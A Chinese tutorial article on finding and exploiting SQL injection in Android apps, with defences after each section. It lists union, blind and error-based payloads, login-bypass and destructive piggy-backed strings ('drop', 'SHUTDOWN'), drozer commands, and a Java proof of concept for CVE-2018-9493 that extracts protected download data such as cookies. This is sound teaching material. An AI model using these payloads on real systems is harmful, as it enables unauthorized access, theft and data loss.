<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Android APP漏洞之戰——SQL注入漏洞初探

    VSole2022-08-03 16:25:58

    一、簡介

    本文主要講述Android中存在的常見的SQL注入漏洞的方式,以及如何快速的挖掘SQL注入漏洞。

    本文結構如下:

    第二節講述SQL注入的基本原理

    第三節講述常見的SQL注入漏洞并復現

    第四節講述Content Provider上的sql注入漏洞

    第五節講述DownProvider 上的sql注入漏洞

    二、SQL漏洞原理介紹

    1.SQL注入原理

    通過實施 SQL 注入,攻擊者可以獲得對應用程序或數據庫的完全訪問權限,從而可以不負責任地刪除或更改重要數據。未正確驗證用戶輸入的應用程序使它們容易受到 SQL 注入的攻擊。SQL 注入攻擊 (SQLIA) 發生在攻擊者能夠通過操縱用戶輸入數據將一系列惡意 SQL 語句插入“查詢”以供后端數據庫執行時。使用這種類型的威脅,應用程序可以很容易地被黑客入侵并被攻擊者竊取機密數據。

    SQL攻擊的原理圖如下所示:

    上圖中攻擊者將 SQL 語句添加到應用程序表單輸入框中,以訪問資源或更改存儲在數據庫中的數據。應用程序中缺少輸入驗證會導致攻擊者成功。在 SQL 注入攻擊中,攻擊者通過應用程序注入字符串輸入,從而改變或操縱 SQL 語句以使攻擊者受益。

    2.SQL注入分類

    要學習SQL注入在Android上的使用,首先需要了解SQL注入的種類,SQL注入一般分為兩種情況:有回顯和無回顯,有回顯是指SQL語句返回的內容有顯示在頁面中;無回顯是頁面輸出的內容并不是SQL語句返回的內容,而是“真”和“假”。

    (1)聯合查詢注入

    聯合查詢注入是在原有的查詢條件下,通過union拼接上select語句,union可以用于合并兩個和多個select語句的結果集

    當union之前的select語句結果集為空時,查詢結果將由union后的select語句控制。

    聯合查詢語句構造步驟:

    1.order by判斷原有查詢語句的列數

    2.使原有查詢語句的結果為空

    3.判斷數據輸出位置

    4.使用union語句拼接目標數據的查詢語句

    對于頁面有回顯,通常使用聯合查詢注入,可以快速爆出數據。

    示例:

    order by //確定列數
    union select 1,2,3 //顯示回顯位
    union select 1,database(),user() //通過回顯位爆出內容
    union select 1,2,group_concat(schema_name) from information_schema.schemata //爆庫
    union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() //爆表
    union select 1,2,group_concat(column_name) from information_schema.columns where table_name='表名' and table_schema=database() //爆列
    union select 1,2,group_concat(列名) from 表名 //爆值
    

    (2)報錯注入

    報錯注入經過構造的函數,讓函數處理user()等不合規定的數據,引發mysql報錯;幾乎任何與數據庫有關的操作經過sql拼接都可以產生報錯注入;當執行的SQL語句出錯時返回錯誤信息,在錯誤信息中返回數據庫的內容。

    構造報錯注入的語句:

    1.構造目標數據查詢語句

    2.選擇報錯注入函數

    3.構造報錯注入語句

    4.拼接報錯注入語句

    常見的報錯注入函數:floor()、extractvalue()、updatexml()等

    報錯注入一般使用在查詢不回顯數據,但會打印錯誤信息的頁面中:

    extractvalue(1,concat(0x7e,(select user()),0x7e)) //extractvalue報錯將輸出的字符長度限制為32位
    updatexml(1,concat(0x7e,(select database()),0x7e),1) //updatexml報錯將輸出的字符長度限制為32位
    select count(\*) from information_schema.tables GROUP BY concat((select database()),floor(rand(0)\*2)) //floor報錯將輸出字符長度限制為64個字符
    

    (3)布爾盲注

    布爾盲注以頁面回顯內容的不同作為判定依據,通過構造語句返回頁面的“真”和“假”來判斷數據庫信息的正確性。

    布爾盲注提取數據的基本步驟:

    1.構造目標數據查詢語句

    2.選擇拼接方式

    3.構造判斷表達式

    4.提取數據長度

    5.提取數據內容

    常見的拼接方式:原始條件真 and 判斷條件真,原始條件假 or 判斷條件真等

    若網頁設置了無報錯信息返回,在不回顯數據+不返回報錯信息的情況下,只剩下盲注方法可用,而布爾盲注使用在對真/假條件的返回內容很容易區分的頁面中。

    示例:

    length(database()) //判斷數據庫名長度
    ascii(substr((database()),s,1))=可用ASCII碼值 //從數據庫庫名第s位開始,截取一位,進行逐一猜解;數據庫庫、表、字段所有名稱的可用字符范圍為A-Z、a-z、0-9和下劃線,也就是ASCII碼值從48到122
    length((select table_name from information_schema.tables where table_schema=database() limit 3,1)) //判斷數據庫中的第4個表表名長度,第1個表從0開始
    ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),s,1))=可用ASCII碼值 //逐一猜解第4個表的表名
    //之后逐一猜解列名與數據
    

    (4)時間盲注

    時間盲注通過構造語句,通過頁面響應的時長來判斷信息;時間盲注的關鍵點在于if()函數,通過條件語句進行判斷,為真則立即執行,否則延時執行,通常使用sleep()等專用的延時函數來進行延時操作。

    時間盲注與布爾盲注的語句構造過程相似,通常在布爾盲注表達式的基礎上使用if函數加入延時語句來構造。通常情況下,盲注需要逐個字符進行判斷,極大增加了時間成本,而對于時間盲注來說,還需要額外的延遲時間來作為判斷的標準。

    在布爾盲注永假條件所返回的內容與正常語句返回的內容很接近或相同,無法判斷的情況下,可使用時間盲注。

    示例:

    sleep() //使用延時函數進行判斷
    if(length(database())=數字,sleep(2),0) //if()函數判斷數據庫長度,if(Condition,A,B),當Condition為true時返回A,當Condition為false時返回B
    if(ascii(substr(database(),s,1))=可用ASCII碼值,sleep(2),0) //使用if函數,從第S位開始截取一位,逐一猜解數據庫名,可用ASCII碼值范圍為48-122
    if(length(select table_name from information_schema.tables where table_schema=database() limit 3,1)=數字,sleep(2),0) //逐一猜解數據庫第4個表長度,第1個表從0開始
    if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),s,1))=可用ASCII碼值,sleep(2),0) //逐一猜解數據庫第4個表表名
    //逐一猜解列名、數據
    

    SQL注入的常見分類如上所述,由于本文主要針對Android上SQL注入講解,這里就不再深入研究,這里引用博客:SQL注入漏洞分析(https://www.modb.pro/db/163732),要深入了解朋友可以看原作者博客,里面還有一些案例講解。

    3.SQL常見注入技巧

    前面我們已經了解了SQL注入的基本分類,下面我們介紹一些SQL注入實際的測試技巧:

    (1)重言式攻擊

    重言式攻擊通過一個或多個條件SQL語句查詢注入代碼,使SQL命令計算為真條件,如(1=1)或(--)。一般可以用來繞過身份驗證

    例如:

    Select * from table where table_ID = '1' or '1=1'--'AND table_password='1234';
    

    (2)Piggy-backed查詢

    Piggy-backed Queries是一種攻擊,它使用查詢分隔符(如“;”)向原始查詢注入額外的查詢語句,從而危及數據庫。在這種方法中,第一個查詢是原始的,而隨后的查詢是注入的。這次攻擊是非常危險的

    例如:

    SELECT pass FROM userTable WHEREuser_ld='user1" AND Password = 0; drop userTable
    

    (3)邏輯錯誤

    邏輯錯誤攻擊利用數據庫為錯誤查詢返回的錯誤消息,這些數據庫錯誤消息通常包含有用的信息,使攻擊者能夠發現應用程序和數據庫架構中的易受攻擊的參數。

    SELECT*FROM userTable WHEREuser_ld=’1111’ AND password='1234’ AND CONVERT(char, no)
    

    (4)聯合查詢

    聯合查詢注入稱為語句注入攻擊。在此攻擊中,攻擊者在原始SQL語句中插入附加語句。此攻擊可以通過在Vulnerable參數中插入UNION查詢或“;<SQL Statement>”形式的語句來完成。

    SELECT* FROM userTable WHEREuser_ld=1111'UNION SELECT *FROMmemberTable WHERE member_ld='admin'--' AND password='1234';
    

    (5)存儲過程

    在該技術中,攻擊者主要關注數據庫系統中存在的存儲過程。存儲過程直接由數據庫引擎運行。它是一段可利用的代碼。存儲過程為授權或未經授權的客戶端提供true或false值。對于SQLIA,攻擊者將寫入“;關機;--“使用登錄名或密鑰。

    SELECT Username FROM UserTableWHEREuser_name= "user1" AND pass=" "; SHUTDOWN;
    

    (6)推斷攻擊

    利用推斷攻擊,攻擊者可以改變數據庫或應用程序的行為。這種類型的攻擊可以分為兩種著名的技術,它們是:盲注入和定時攻擊

    <1>盲注入

    當程序員忘記隱藏導致數據庫應用程序不安全的錯誤消息時,就會發生這種類型的SQLIA,這種錯誤消息通過SQL語句詢問一系列邏輯問題來幫助SQLIA危及數據庫。

    SELECT pass FROM userTable WHERE username='user' and 1 =0 -- AND pass = AND pin= 0SELECT info FROM userTable WHERE username='user' and = 1 -- AND pass = AND pass= 0
    
    <2>定時攻擊

    這種類型的攻擊允許攻擊者通過觀察數據庫響應中的定時延遲來從數據庫中收集信息。這類攻擊利用if條件語句來達到延時的目的。WAITFOR是分支上的關鍵字,它導致數據庫將其響應延遲指定的時間。

    declare @ varchar (8000) select @s =db_name (if (ascii (substring (@s,1,1))&(power (2,o) > o waitfor delay '0:0:5"
    

    (7)交替編碼

    當攻擊者通過使用替代編碼(如十六進制、ASCII和Unicode)修改注入查詢時,就會發生此類攻擊。通過這種方式,攻擊者可以逃離開發人員的過濾器,該過濾器掃描輸入查詢以查找特定的已知“壞字符”。

    SELECT accounts FROM userTable WHERE login="AND pin=0; exec (char(0x73687574646f776e)
    

    4.Andorid APP SQL漏洞常見的測試點

    Android APP SQL注入漏洞一般位于APP的用戶登錄,充值頁面,修改銀行卡,提交留言反饋,商品購買,提現功能等地方。

    三、常見的SQL漏洞

    這里我們使用一個漏洞樣本來詳細的講解APP SQL注入漏洞的情況。

    1.重言式攻擊

    (1)漏洞原理

    我們前面講了,可以使用(1=1)或(--)來繞過身份驗證,我們知道一般SQL語句登錄構造如下:

    Select * From 用戶表 Where UserName=xxx and Password=xxx
    

    然后判斷返回的行數,如果有返回行,證明賬號和密碼是正確的,即登錄成功,而這樣的語句的話。

    那么我們可以在登錄賬戶或密碼后面加上(1=1),因為1=1登錄條件永遠成立,而--作為內嵌評論的開始字符,會導致后面內容只作為評論,這樣就可以不去驗證密碼的有效性。

    (2)漏洞復現

    我們打開應用:

    這里很顯然是一個登錄界面,APP會通過用戶輸入的賬號和密碼,去查詢數據庫中用戶進行匹配,我們進一步進行靜態分析。

    不難找到這句語句是APP進行數據庫查詢的語句,我們可以進行進一步分析:

    不難發現這里我們如果在不知道密碼情況下,隨意輸入,APP會根據賬號和密碼構造一個有效的負載來避免檢測。

    " WHERE NAME='" + username + "' AND PASSWORD='" + password + "'"
    

    因此我們可以使用(1=1)和--兩種方式來進行sql注入繞過驗證

    我們使用--來構造語句,無非是使得不會去檢測密碼的有效性,所以我們可以構造語句。

    SELECT * FROM employee WHERE NAME='Admin' -- AND PASSWORD = 'xyz'
    

    這樣會是的我們將查詢語句構造成上面語句,APP就不會去驗證密碼,而我們又輸入的是管理員賬號,所以可以嘗試進行sql注入繞過。

    構造賬號和密鑰:賬號Admin' -- 密鑰:Anything

     

    這樣就成功的繞過了驗證,獲得具體信息。

    我們還可以查詢賬號密鑰相應的詳細:

    同理我們使用(1=1)方式來進行注入。

    1=1

    我們使用1=1來進行注入,無非是相在輸入賬戶情況下,可以輸入任意的密碼,這樣我們只需要使用(OR '1'='1')即可。

    可以構造SQL語句:

    SELECT * FROM employee WHERE NAME='Admin' OR '1'='1' AND PASSWORD = 'anything' OR '1'='1'
    

    構造賬號和密鑰:賬號:Admin' OR '1'='1 密鑰:anything' OR '1'='1

    同理成功進入 上面賬號和密碼可以為任意值。

    2.Piggy-backed查詢

    (1)漏洞原理

    我們上面已經簡單的繞過了該攻擊,我們可以使用;來進行Piggy-backed查詢,這樣可以使得在登錄系統的同時,再進行執行一條SQL語句

    (2)漏洞復現

    我們可以構造SQL語句:

    SELECT * FROM employee WHERE NAME='anyname' OR '1'='1';INSERT INTO employee (NAME, ID) VALUES ('MUR','11451') -- AND PASSWORD = 'anything'
    

    上面的語句實現三個功能:構造任意的用戶名,插入新的sql語句,使得驗證碼無效。

    構造用戶名和密碼:用戶名:anyname' OR '1'='1'; INSERT INTO employee (NAME, ID) VALUES ('MUR','11451') -- 密碼:anything。

    這里我們發現成功的登錄,但是并沒有插入用戶名成功,經過分析,在大多數SQLiteDatabase API)中;被定義為終止,所以它之后的任何內容都應該被忽略,但是這也是在一些APP中可以進行測試的環節,當我們理解;作用后,很明顯我們又可以得到一種繞過登錄的方法,這里既然;后面都無效,是不是意味,我們只要輸入正確賬戶,就可以登錄。

    構造SQL語句:

    SELECT * FROM employee WHERE NAME='Admin';  AND PASSWORD = 'anything'
    

    構造賬號和密碼:賬號Admin';,密碼:Anything。

    同樣成功登錄:

    3.邏輯錯誤攻擊

    (1)漏洞原理

    原本邏輯錯誤攻擊是利用數據庫為錯誤查詢返回的錯誤消息,這些數據庫錯誤消息通常包含有用的信息,使攻擊者能夠發現應用程序和數據庫架構中的易受攻擊的參數。而我們這里發現在數據字段校驗時,通過插入多余的字段,來實現越權的功能。

    (2)漏洞復現

    這里我們分析到數據庫更新的語句。

    通過這里的更新語句我們可以很明顯的得到構造的SQL。

    UPDATE employee SET NICKNAME=..., EMAIL =..., ADDRESS=..., PASSWORD =..,               PHONE='...' WHERE ID = (...)
    

    這里我們模擬一般的管理系統,很顯然只能管理員對員工的一些信息進行修改,比如薪資,而員工只能修改一般的字段,我們這里通過普通用戶模式登陸。

    可以很明顯發現,這里的薪資是無法進行修改的,那我們通過添加字段利用邏輯錯誤來實現修改。

    構造SQL:

    UPDATE employee SET NICKNAME=..., EMAIL =..., ADDRESS=..., PASSWORD =..,               PHONE='21389', SALARY='100000000'WHERE ID = (Alice.id)
    

    我們這里修改Phone的字段:

    21389', SALARY='100000000
    

    這樣就多加了一個字段,但是我們對上面代碼邏輯進行分析,發現只是對字符串進行讀取,并未校驗。

    點擊更新:

    再次進入我們就發現薪資變為了我們預設的數字。

    當然利用上面的實現我們還能修改用戶名,比如:

    UPDATE employee SET NICKNAME=..., EMAIL =..., ADDRESS=..., PASSWORD =..,               PHONE='21389', SALARY=100000000WHERE NAME = 'Boby' -- ' WHERE ID = (Alice.id)
    

    我們構造語句:

    21389', SALARY=10000000 WHERE NAME='Bobby' --
    

    更新成功后,我們進入Bobby的信息,發現就被修改了。

    4.漏洞的挖掘思路

    我們前面講了三種常見類型的SQL注入的案例,但是我們在實際挖掘過程中,怎么初步的判斷是否存在這類漏洞,并進行使用。

    我們打開另外一個樣本APK:

    我們知道并不是所有APK樣本,我們都能很輕易的獲得源碼,有些可能使用了加殼服務,但是測試上述的漏洞很容易。

    我們都知道SQL注入需要單引號配對,我們可以根據日志和錯誤提示來查看。

    首先我們先進行日志監聽或使用ddms

      adb logcat |grep packagename
    

    然后我們輸入一個單引號'

    很明顯說明這里是存在SQL注入,說明程序是有從Sqlite中獲取信息,但由于我們輸入'引號,沒有配對,導致程序錯誤。

    然后我們再輸入雙引號''

    程序正在搜索輸入的數據,沒有產生SQL錯誤。為了進一步確認,我們再加一個單引號,看看是否會引發SQL錯誤。

    程序再次報錯,說明奇數個'會導致SQL錯誤,當引號剛好匹配時SQL查詢正好會執行。

    然后我們就可以使用我們上面的漏洞來進行測試,我們使用一個萬能語句,即無論正確錯誤都輸入的語句。

      1' or '1' !='2
    

    無論是ture還是flase我們都滿足,即萬能語句。

     這里我們就成功的爆出了相關信息。

    這里很顯然是app接收了用戶的輸入,沒有經過驗證就直接加入到SQL查詢語句。

    5.安全防護

    針對1-3的漏洞現象,樣本中依次進行了安全防護。

    針對1-2的防護:

    上圖中2表示防護的代碼。

    針對3的防護:

    我們可以發現上傳的防護方式,都使用了?, 問號?是 SQL 查詢中的參數持有者,將使用 String ListArray 中給出的相應參數進行編譯,即會對輸入的參數進行轉義和綁定,這樣就可以有效的進行參數輸入防護。

    四、Content Provider上Sql注入漏洞

    我在Android APP漏洞之戰(4)——Content漏洞詳解(https://bbs.pediy.com/thread-269447.htm)已經初步介紹了Content Provider中存在的sql注入漏洞,我們知道Android中provider提供不同進程之間共享內容,而content在查詢的過程中也會存在一些典型的Sql注入漏洞。

    1.漏洞原理

    Content Provider SQL注入漏洞產生的原因如下:

    Content Provider組件是可導出的未校驗輸入值是否符舍規范,就作為SQL語句的一部分,例如:String inputUserName = "123'or'1=1";String inputPassword = "123";String sql = "select *from user where username='"+inputUserName +"' and password='"+inputPassword+"'";Cursor cursor = db.rawQuery(sql);以上兩點均滿足的情況下,就會產生SQL注入風險
    

    2.漏洞檢測

    我們挖掘Content Provider漏洞的步驟:

    (1)掃描全局代碼,是否存在導出的Content Provider組件

    (2)若存在導出的Content Provider組件,則判斷SQL語句中是否有未校驗的輸入值,若存在則存在風險。

    (3)匯總結果

    3.漏洞復現

    我們使用drozer掃描注入的位置:

    run scanner.provider.injection -a <包名>
    

    然后我們執行以下命令,發現返回了報錯信息,接著構造sql獲取敏感數據

    run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection " * from Key;--+"
    

    列出所有表信息:

    run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
    

    獲取具體表信息

    run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
    

    列出該app的表信息

    run scanner.provider.sqltables -a  com.mwr.example.sieve
    

    4.安全防護

    (1)不需要導出的Content Provider組件,建議顯示設置組件的“android:exported”屬性為false

    (2)當組件可導出時,建議使用selectionArgs進行參數化組成SQL語句,例如:

    String inputUserName = "xxxx";String inputPassword = "xxxx";String sql = "select *from user where username=? and password=?";Cursor cursor = db.rawQuery(sql,new String[]{username,password})
    

    我們可以發現Content Provider上的sql漏洞核心原理和上面是一樣的。

    五、Android Download Provider上sql注入漏洞

    Android Download Provider是用來進行下載的一個重要組件,Android提供了一套處理其他App下載請求的機制,例如瀏覽器的下載、郵件附件的下載、OTA升級包下載等。其中Download Manager用來處理下載請求,DownloadManager下載過程中,會將下載的數據和下載的狀態插入ContentProvider中,完成下載后使用ContentProvider來提供下載內容給請求方APP。

     

    下載的流程關系圖:

    1.CVE-2018-9493: Download Provider SQL注入

    (1)漏洞原理

    通過利用SQL注入漏洞,未授予任何權限的惡意應用程序可以繞過當前實現的所有訪問控制機制,從下載提供程序檢索所有條目。此外,被授予有限權限的應用程序(如Internet)也可以從不同的URI訪問所有數據庫內容。對于Gmail、Chrome或Google Play Store等應用程序,從該提供程序檢索的信息可能包括潛在的敏感信息,如文件名、描述、標題、路徑、URL(在查詢字符串中可能包含敏感參數)等。

    然而內部數據庫中的某些列(例如CookieData)被認為是私有的,不能通過 Download Content Provider 直接訪問,除非調用者具有不受限制的權限(URI 受signatureOrSystem訪問級別保護)

    利用 where 表達式中的 SQL 注入,繞過setStrict過濾器,將允許我們從內部數據庫中提取內容,包括任何受限制的列下載

    訪問下載內容提供程序需要不同的權限,例如Internet或access_all_downloads,這取決于所請求的URI

    例如:

    但是可以針對下面URL,則無需任何權限:

      content://downloads/public_downloads/#
    

    我們可以在源碼中查看對該URI的定義:

    sURIMatcher.addURI("downloads",   Downloads.Impl.PUBLICLY_ACCESSIBLE_DOWNLOADS_URI_SEGMENT + "/#",   PUBLIC_DOWNLOAD_ID);
    

    可以看出該URI,可以用于公共下載,但沒有什么可以阻止攻擊者注入SQL Selection子句來訪問數據庫中的任何行、列或表,包括受保護的列。這樣我們就可以進行SQL注入。

    總結:

    不需要權限:content://downloads/public_downloads/#需要權限android.permission.INTERNET:content://downloads/my_downloads/content://downloads/my_downloads/#content://downloads/download/content://downloads/download/#
    

    因此我們可以構造相關的sql注入語句:

      adb shell content query --uri content://downloads/public_downloads/0 -- where "1=1) OR (1=1"
    

    這里需要從Google Chrome下載任何文件(即PDF文件)或從Gmail下載任何附件,確保提供程序包含一些數據,然后使用該語句。

    由于底層SQLiteQueryBuilder中強制使用嚴格模式,無法實現基于UNION語句的直接注入,但可以通過利用盲SQL注入提取所有信息:

    adb shell content query --uri content://downloads/public_downloads/0 -- where "1=1) AND (_id=1 AND cookiedata LIKE 'a%') OR (1=1"
    

    也可以從request_headers表轉儲所有內容:

    adb shell content query --uri content://downloads/public_downloads/0 -- where "1=1) AND (SELECT header FROM request_headers WHERE _id=1) LIKE 'a%' OR (1=1"
    

    還可以使用盲SQL注入(如果啟用此選項,則過程將稍微慢一些)來包含受限列,如UID、ETAG或CookieData

    (2)漏洞復現

    首先我們需要從google上下載一些數據:

    這里沒有合適的案例,就不進行演示了。

    然后我們編寫Poc:

    private void dump(boolean dumpProtectedColumns) {       ContentResolver res = getContentResolver();       Uri uri = Uri.parse("content://downloads/public_downloads/#");       Cursor cur = null;       Log.e("WindXaa","ERROR: The device does not appear to be vulnerable1");       try {           //這里可以替換我們的sql注入構造語句           cur = res.query(uri, null, "1=1) OR (1=1", null, null);       } catch (IllegalArgumentException e) {           Log.e("WindXaa", "Error", e);           Log.e("WindXaa","ERROR: The device does not appear to be vulnerable");           //return;       }        try {           if (cur != null || cur.getCount() > 0) {               // Iterate all results and display some fields for each row from the downloads database               while (cur.moveToNext()) {                   int rowId = cur.getInt(cur.getColumnIndex("_id"));                   String rowData = cur.getString(cur.getColumnIndex("_data"));                   String rowUri = cur.getString(cur.getColumnIndex("uri"));                   String rowTitle = cur.getString(cur.getColumnIndex("title"));                   String rowDescription = cur.getString(cur.getColumnIndex("description"));                   String string = null;                   StringBuilder sb = new StringBuilder(string);                   sb.append("DOWNLOAD ID ").append(rowId);                   sb.append("\nData: ").append(rowData);                   sb.append("\nUri: ").append(rowUri);                   sb.append("\nTitle: ").append(rowTitle);                   sb.append("\nDescription: ").append(rowDescription);                    if (dumpProtectedColumns) {                       int uid = binarySearch(rowId, "uid");                       sb.append("\nUID: ").append(uid);                        dumpColumn(rowId, "CookieData", sb);                       dumpColumn(rowId, "ETag", sb);                   }                    Log.w("WindXaa",sb.toString());               }               Log.e("WindXaa","\n\nDUMP FINISHED");           }       } finally {           if (cur != null)               cur.close();       }   }    private void dumpColumn(int rowId, String columnName, StringBuilder sb) {       if (isTrueCondition(rowId, "length(" + columnName + ") > 0")) {           int len = binarySearch(rowId, "length(" + columnName + ")");            sb.append("\n" + columnName + ": ");           for (int i = 1; i <= len; i++) {               int c = binarySearch(rowId, "unicode(substr(" + columnName + "," + i + ",1))");               String newChar = Character.toString((char) c);               sb.append(newChar);           }       }   }    private int binarySearch(int id, String sqlExpression) {       int min = 0;       int max = 20000;       int mid = 0;        while (min + 1 < max) {           mid = (int) Math.floor((double) (max + min) / 2);            if (isTrueCondition(id, sqlExpression + ">" + mid))               min = mid;           else               max = mid;       }        if ((mid == max) && isTrueCondition(id, sqlExpression + "=" + mid))           return mid;       else if (isTrueCondition(id, sqlExpression + "=" + (mid + 1))) // Extra check           return mid + 1;        return -1;   }    private boolean isTrueCondition(int rowId, String sqlCondition) {       ContentResolver res = getContentResolver();       Uri uri = Uri.parse("content://downloads/public_downloads/0");        Cursor cur = res.query(uri, new String[]{"_id"}, "_id=" + rowId + ") and (" +               sqlCondition + ") or (1=1", null, null);        try {           return (cur != null && cur.getCount() > 0);       } finally {           if (cur != null)               cur.close();       }   }
    

    預期效果顯示(這里由于沒找到合適案例,使用官方圖片展示效果):

    (3)安全防護

    如果它沒有破壞任何功能,請考慮添加被刪除的行:@Overridepublic query(final Uri uri, String[] projection,    final String selection, final String[] selectionArgs,    final String sort) {    Helpers.validateSelection(selection, sAppReadableColumnsSet);
    

    2.Android Download Provider上的SQL注入——sort參數(CVE-2019-2196)

    (1)漏洞原理

    同樣是針對Download Provider,因為被授予android.permission.INTERNET權限的惡意應用可以在query()方法的sort參數(ORDER BY子句)中附加一個包含子查詢語句的LIMIT子句,實施SQL注入攻擊,從而檢索Download Provider內部數據庫的所有條目。

    (2)漏洞復現

    可以構造sql注入語句

    sort參數傳入的值是ORDER BY子句后拼接的內容,為了利用此漏洞,可以在sort參數處構造:

    columnNamelimitcase when (condition) then 1 else 0 end例如:_id limit case when(    (select count(*) from downloads)>0)then 1 else 0 end
    

    這里詳細的復現過程可以參考文章:Android Download Provider上的SQL注入——sort參數(CVE-2019-2196)(https://zhuanlan.zhihu.com/p/367365614)

    (3)安全防護

    確保執行數據庫操作前合理校驗query()方法的sort參數。例如,確保sort參數不包含注入了LIMIT子句和潛在的惡意子查詢語句的惡意payload,或者執行更嚴格的校驗,比如要求參數僅包含以逗號分隔的現有數據列列表和字符串“asc”或“desc”。

    DownloadProvider.java文件添加代碼:

    @Overridepublic Cursor query(final Uri uri, String[] projection,         final String selection, final String[] selectionArgs,         final String sort) {     ...    if (shouldRestrictVisibility()) {        if (sort != null && sort.toLowerCase(Locale.ENGLISH).contains("limit"))            throw new IllegalArgumentException("invalid sort");        ...    }    ...}
    

    六、總結

    本文通過總結和學習,初步的將講解了Android平臺APP上的常見的Sql注入的方式,并使用一些案例進行了一一的列舉,文中一部分漏洞沒有找到合適的案例,大家可以參考對應作者的博客,后續相關的實驗材料上傳github和知識星球。

    github網址:WindXaa(https://github.com/WindXaa/Android-Vulnerability-Mining)

    sql注入select
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    SQL注入速查表
    2022-07-29 09:22:37
    現在僅支持MySQL、Microsoft SQL Server,以及一部分ORACLE和PostgreSQL。大部分樣例都不能保證每一個場景都適用。現實場景由于各種插入語、不同的代碼環境以及各種不常見甚至奇特的SQL語句,而經常發生變化。
    id=3';對應的sqlselect * from table where id=3' 這時sql語句出錯,程序無法正常從數據庫中查詢出數據,就會拋出異常; 加and 1=1 ,URL:xxx.xxx.xxx/xxx.php?id=1' order by 3# 沒有報錯,說明存在3列爆出數據庫:?id=-1' union select 1,group_concat,3 from information_schema.schemata#爆出數據表:?id=1' and extractvalue--+(爆字段)?
    id=1' order by 3# 沒有報錯,說明存在3列。id=-1' union select 1,group_concat,3 from 數據庫名.數據表名--+拓展一些其他函數:system_user() 系統用戶名。updatexml函數:細節問題:extractvalue()基本一樣,改個關鍵字updatexml即可,與extractvalue有個很大的區別實在末尾注入加上,如:,而extractvalue函數末尾不加1(數值)?
    sql注入原理:業務端代碼從客戶端接收到惡意payload之后沒有進行過濾直接進行sql語句拼接并且執行造成sql注入本人正在拜讀一本代碼審計的書感覺非常的棒,剛剛好室友在挑戰自己,就順便整理一下知識點!看了一下也沒問題,繼續往下走,發現室友mybatis里的sql全部是使用$拼接的!
    在云SQL上獲取shell
    2022-07-18 17:00:27
    云上的關系數據庫服務,它是由 Google 保護、監控和更新的SQL、PostgreSQL 或 MySQL的服務器。托管 MySQL 實例的限制由于Cloud SQL是一項完全托管的服務,因此用戶無權訪問某些功能。在MySQL中,SUPER權限保留用于系統管理相關任務,FILE權限用于讀取/寫入運行 MySQL服務器上的文件。
    代碼審計,說白了就是白盒測試,審查代碼檢查是否有安全問題,核心就兩點:跟蹤用戶輸入數據+敏感函數參數回溯。
    未正確驗證用戶輸入的應用程序使它們容易受到 SQL 注入的攻擊。SQL 注入攻擊 發生在攻擊者能夠通過操縱用戶輸入數據將一系列惡意 SQL 語句插入“查詢”以供后端數據庫執行時。使用這種類型的威脅,應用程序可以很容易地被黑客入侵并被攻擊者竊取機密數據。
    我見過的流量分析類型的題目總結: 一,ping 報文信息? 二,上傳/下載文件 三,sql注入攻擊 四,訪問特定的加密解密網站 五,后臺掃描+弱密碼爆破+菜刀 六,usb流量分析 七,WiFi無線密碼破解 八,根據一組流量包了解黑客的具體行為例題:一,ping 報文信息?如果是菜刀下載文件的流量,需要刪除分組字節流前開頭和結尾的X@Y字符,否則下載的文件會出錯。
    SQL手工注入總結
    2021-11-11 08:19:35
    雖說目前互聯網上已經有很多關于 sql 注入的神器了,但是在這個 WAF 橫行的時代,手工注入往往在一些真實環境中會顯得尤為重要。本文主要把以前學過的知識做個總結,不會有詳細的知識解讀,類似于查詢手冊的形式,便于以后的復習與查閱,文中內容可能會存在錯誤,望師傅們斧正!
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类